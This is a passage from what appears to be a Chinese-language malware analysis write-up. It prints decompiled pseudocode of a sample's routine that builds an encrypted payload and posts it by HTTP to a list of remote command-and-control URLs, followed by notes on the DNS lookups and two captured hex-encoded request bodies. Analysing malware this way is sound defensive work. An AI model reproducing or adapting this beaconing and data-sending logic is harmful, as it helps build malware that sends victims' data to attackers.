unsigned __int8 *cchData; // [esp+Ch] [ebp-25B4h]
LANGID LangId; // [esp+10h] [ebp-25B0h]
HINTERNET v21; // [esp+14h] [ebp-25ACh]
unsigned int dwOptionalLength; // [esp+18h] [ebp-25A8h]
int v23; // [esp+1Ch] [ebp-25A4h]
int Buffer; // [esp+20h] [ebp-25A0h]
LPCSTR lpszUrl; // [esp+24h] [ebp-259Ch]
HINTERNET hInternet; // [esp+28h] [ebp-2598h]
int v27; // [esp+2Ch] [ebp-2594h]
int v28; // [esp+30h] [ebp-2590h]
int v29; // [esp+34h] [ebp-258Ch]
int v30; // [esp+38h] [ebp-2588h]
int v31; // [esp+3Ch] [ebp-2584h]
int v32; // [esp+40h] [ebp-2580h]
struct $BC2FB811D417144E831EE3AEA4A279C8 UrlComponents; // [esp+44h] [ebp-257Ch]
char v34; // [esp+80h] [ebp-2540h]
int v35; // [esp+178h] [ebp-2448h]
int v36; // [esp+17Ch] [ebp-2444h]
int v37; // [esp+180h] [ebp-2440h]
int v38; // [esp+184h] [ebp-243Ch]
char v39; // [esp+188h] [ebp-2438h]
int v40; // [esp+189h] [ebp-2437h]
int v41; // [esp+18Dh] [ebp-2433h]
int v42; // [esp+191h] [ebp-242Fh]
__int16 v43; // [esp+195h] [ebp-242Bh]
char v44; // [esp+198h] [ebp-2428h]
int v45; // [esp+199h] [ebp-2427h]
int v46; // [esp+19Dh] [ebp-2423h]
int v47; // [esp+1A1h] [ebp-241Fh]
int v48; // [esp+1A5h] [ebp-241Bh]
int v49; // [esp+1A9h] [ebp-2417h]
int v50; // [esp+1ADh] [ebp-2413h]
int v51; // [esp+1B1h] [ebp-240Fh]
__int16 v52; // [esp+1B5h] [ebp-240Bh]
char v53; // [esp+1B7h] [ebp-2409h]
char v54; // [esp+1B8h] [ebp-2408h]
char v55; // [esp+1B9h] [ebp-2407h]
char v56; // [esp+1CCh] [ebp-23F4h]
char v57[235]; // [esp+1CDh] [ebp-23F3h]
char v58; // [esp+2B8h] [ebp-2308h]
char v59; // [esp+2B9h] [ebp-2307h]
char v60; // [esp+3B8h] [ebp-2208h]
char v61; // [esp+3B9h] [ebp-2207h]
char Optional; // [esp+5B8h] [ebp-2008h]
char v63; // [esp+5B9h] [ebp-2007h]
char v64; // [esp+15B8h] [ebp-1008h]
char v65; // [esp+15B9h] [ebp-1007h]
int savedregs; // [esp+25C0h] [ebp+0h]
lpszUrl = (LPCSTR)MEMORY[0];
hInternet = (HINTERNET)MEMORY[4];
v31 = MEMORY[4];
v28 = MEMORY[0xC];
v40 = 0;
v41 = 0;
v42 = 0;
v43 = 0;
v29 = MEMORY[0x10];
v27 = MEMORY[8];
v30 = MEMORY[0x14];
v32 = MEMORY[8];
v39 = 0;
Optional = 0;
sub_41A810((unsigned __int8 *)&v63, 0, 0xFFFu);
cchData = (unsigned __int8 *)sub_4135EA(198);
sub_41A810(cchData, 0, 0xC6u);
v0 = cchData;
v1 = 0;
do
{
v2 = byte_4328C8[byte_45F138[v1] & 0xF];
*v0 = byte_4328C8[(unsigned int)(unsigned __int8)byte_45F138[v1] >> 4];
v0[1] = v2;
++v1;
v0 += 2;
}
while ( v1 < 0x61 );
if ( *(_DWORD *)&Context.ExtendedRegisters[148] == 1 )
sub_413A8B(&v39, 15, MEMORY[0x2C]);
else
sub_413A8B(&v39, 15, MEMORY[0x30]);
v21 = InternetOpenA(MEMORY[0x20], 0, 0, 0, 0);
sub_41A810((unsigned __int8 *)&Optional, 0, 0x1000u);
v3 = dword_43A2AC;
v4 = sub_41C7E0(qword_43A3F8, HIDWORD(qword_43A3F8), 1024, 0);
v6 = sub_41C7E0(v4, v5, 1024, 0);
sub_403730(
4096,
(int)&Optional,
MEMORY[0x18],
&v39,
cchData,
&Data,
v6,
v7,
v3,
*(_DWORD *)&Context.ExtendedRegisters[144],
dword_45F0D0,
*(&dword_45F0D0 + 1),
*(&dword_45F0D0 + 2),
*(&dword_45F0D0 + 3),
(unsigned __int8)dword_45F0D4,
BYTE1(dword_45F0D4),
BYTE2(dword_45F0D4),
HIBYTE(dword_45F0D4));
v64 = 0;
sub_41A810((unsigned __int8 *)&v65, 0, 0xFFFu);
v44 = 0;
v45 = 0;
v46 = 0;
v47 = 0;
v48 = 0;
v49 = 0;
v50 = 0;
v51 = 0;
v52 = 0;
v53 = 0;
sub_40F430(strlen(MEMORY[0x1C]));
v35 = -1431633921;
v36 = -272760832;
v37 = 44510;
v38 = -66;
sub_411960(&v44, &v34);
v8 = (unsigned __int8 *)(&Optional + strlen(&Optional) + 1);
v9 = ((_BYTE)v8 - (unsigned __int8)&v63 + 1) & 0xF;
v10 = v8 - (unsigned __int8 *)&v63 + 16 - v9 + 1;
sub_41A810(v8, 16 - v9, 16 - v9);
sub_403AD0((int *)&v64, v10, (int)&savedregs, (int)&Optional, &v35, (int)&v34);
v11 = sub_4105B0(&v64);
sub_403730(4096, (int)&Optional, MEMORY[0x34], v11);
sub_41304C(v11);
sub_41304C(cchData);
v12 = 0;
LangId = 0;
while ( 1 )
{
sub_41A810((unsigned __int8 *)&UrlComponents, 0, 0x3Cu);
UrlComponents.dwStructSize = 60;
UrlComponents.dwHostNameLength = 1;
UrlComponents.dwUrlPathLength = 1;
v58 = 0;
sub_41A810((unsigned __int8 *)&v59, 0, 0xFFu);
v60 = 0;
sub_41A810((unsigned __int8 *)&v61, 0, 0x1FFu);
if ( InternetCrackUrlA((&lpszUrl)[(_DWORD)v12], strlen((&lpszUrl)[(_DWORD)v12]), 0, &UrlComponents) )
{
if ( UrlComponents.dwHostNameLength > 0 )
sub_413AEA(&v58, 256, UrlComponents.lpszHostName, UrlComponents.dwHostNameLength);
if ( UrlComponents.dwUrlPathLength > 0 )
sub_413AEA(&v60, 512, UrlComponents.lpszUrlPath, UrlComponents.dwUrlPathLength);
v13 = (void *)sub_403760((int)v21);
Buffer = 1200000;
InternetSetOptionA(v13, 6u, &Buffer, 4u);
v14 = (void *)sub_403880((int)&v60, MEMORY[0x38], (int)v13, MEMORY[0x28]);
v54 = 0;
sub_41A810((unsigned __int8 *)&v55, 0, 0xFFu);
dwOptionalLength = strlen(&Optional);
v23 = MEMORY[0x24] + 1;
HttpSendRequestA(v14, MEMORY[0x24], strlen(MEMORY[0x24]), &Optional, dwOptionalLength);
if ( !GetGeoInfoA(v16, v17, v18, 0, LangId) )
{
sub_4039B0((int)&Buffer, (int)&v56, (int)v14);
v15 = Buffer;
*(&v56 + Buffer) = 0;
v57[v15] = 0;
if ( sub_413680(&v56, MEMORY[0x3C]) )
{
LABEL_16:
InternetCloseHandle(hInternet);
EnumerateLocalComputerNamesW(
1,
v21,
dwOptionalLength,
v23,
Buffer,
lpszUrl,
hInternet,
v27,
v28,
v29,
v30,
v31,
v32,
UrlComponents.dwStructSize,
UrlComponents.lpszScheme,
UrlComponents.dwSchemeLength,
UrlComponents.nScheme,
UrlComponents.lpszHostName);
JUMPOUT(*(_DWORD *)byte_403720);
}
}
InternetCloseHandle(v14);
InternetCloseHandle(v13);
v12 = lpszUrl;
}
lpszUrl = ++v12;
if ( (signed int)v12 >= 6 )
goto LABEL_16;
}
}
网络
没有什么特别的,请求了这些DNS

每请求一个就发一个HTTP连接,DATA段携带的内容有两种,下面只是其中一种

可惜忘记记下自己的ID了。。这些内容看起来或许和自己的密钥有关呢。
内容1:
469CB56838F01455561F24C4703C765BD86D8DD46AE642024F80CA4A6622925649DA1F2ECCAEE87949A17C4FBD2DBFE5BB2A1AA6AAA0EDCAE2BCFAFAE8E944441EFD7180B884CDFF23DE4B7E1E3BAD4A1DF3077E78A06B21F9B46B6C241B827AAAECF66F777100D1EEA3B0B730926995D1BF115436ABB0DD7CB2774116661D2594B301B4977568D42BB81FB8ABC681F1AEAEF00EDF730C42E0D61A80E42E82E8EAEDB2C05E7665C8FB9E3477E37F6287754E80F6163D1804EF472694385299BA1DB25C3FAAE34D33C858004092E8C7DBDFD3409B236012F0341F2E594AA8D870A7B604AB0A26B8A6598FB432F384B71078EA956DD3441FD3BCDA8C66728EB0ED041BD3A3744E4E5E166E354B319F1C7B32147C2E2F903CE332E4CC1F823AC99E4FCEC800E2436D654805174D0B0EAAD38734E231BC8C9184C61B9E32785ECFD5
内容2:
FF982F7A97833388A40909A5E1EBAEE2555737E95726A9CDB577C4F888F5529A016363FC44F1094DC12C4690946E0986D8D660CE3BCDC0155310341BC1F8C36AB447261926C0940771550DCA79F5D9DF9D9EF3E8C5E6C408A90AF7C1651235F88F82444DD6F8773EB84FE78B1EA39CE521445210524492237161ABE6ECE91C4D47F9404D9A2FC961DF2320E1D1AF6CCA5BAC712F6FFA6E4F88641D79E91C3EF871099E602FFDBA9FBAC0A8543712C75CA159AF0705C41869D638E518D446F6ACF75CE165BAE38211892ED2459415A3F325DF34320CDB6CD7809B47DD6DBAD2852E8C5854E5BD8848DC83FBABCB6A4BFB911F3C34E90E9D05616D5E9528BFB6578C9775C93533358DB8A05F1C731BC2EDB286938FAB0380B78811999BE821A9C99F41B0AB0AFEC712476CD00CD08EAB8B3437DE4D1E3971406545FE67B894F0C1
到此为止啦,暂时告一段落,吃了好多时间。
引用
1. Russian Wiki about Peacedoorball